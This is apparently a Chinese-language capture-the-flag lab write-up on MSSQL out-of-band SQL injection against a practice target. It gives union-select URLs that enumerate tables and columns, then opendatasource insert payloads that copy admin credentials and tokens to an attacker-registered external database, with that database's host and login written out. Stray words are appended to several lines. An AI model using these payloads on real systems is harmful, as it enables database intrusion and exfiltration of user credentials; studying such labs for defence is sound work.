工具:香港云免费云服务器:http://www.webweb.comweb
注册使用匿名邮箱:https://bccto.me/sql
香港云服务器搭建MSSQL数据库,并建表admin,字段数要大于等于咱们想要获取的表。数据库
首先打开靶场:http://59.63.200.79:8015/?id=1
尝试是否可注入:服务器
闭合;工具
经过order by查询到表中为三字段。后来经过问别人知道里面还有一字段类型是二进制大对象 不支持order by——-因此说是四个字段,建表时尽量多建吧。
先按照视频上讲的对靶场数据库进行表名,字段名查询常规操做,便于理解,可是实际反弹注入中可能不会出现:
查表名:http://59.63.200.79:8015/?id=1%27%20union%20select%20id,name,null%20from%20sysobjects%20where%20xtype=%27U%27--+ui
查到各表名及其在sysobjects系统自带表中的id。
查admin表中字段名:http://59.63.200.79:8015/?id=1%27%20union%20select%20id,name,null%20from%20syscolumns%20where%20id=1977058079%20--+视频
查表中内容:server
查出了id、passwd、token。其中token可能就是flag.
接下来尝试反弹注入:
注册香港云:
帐号:saddadsadadsa
香港运登陆密码:12345678
数据库库名:DB_14B8A3E_AAAA
数据库密码:12345678
数据库连接地址:SQL5006.webweb.com
数据库用户名:DB_14B8A3E_AAAA_admin
在香港云的数据库中建立一个大于三字段的表,用来接收数据。对象
咱们建立了一个叫admin的四字段表用来接收反弹注入数据;
构建语句:insert into opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin select * from admin —+
执行情况:blog
得到flag.固然这里数据只有一条,实战中应该结合系统自表明一步步查询。
insert into opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin select null,null,name,null from sysobjects where xtype=’U’ —+
查询出全部用户建立表:
得到表的id。
查询admin表中字段:insert into opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin select * from syscolumns where id=1977058079 —+
得到字段.
得到表中数据:insert into opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin select%20 id,passwd,token,username from admin —+
得到flag.